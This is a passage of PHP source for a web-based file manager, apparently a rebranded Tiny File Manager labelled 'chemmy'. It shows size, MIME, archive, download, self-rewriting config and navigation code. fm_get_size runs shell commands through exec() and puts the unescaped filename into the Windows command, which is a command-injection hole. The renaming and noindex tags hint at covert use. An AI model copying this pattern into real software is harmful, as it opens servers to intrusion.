            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if(is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'chemmy<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="chemmy">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 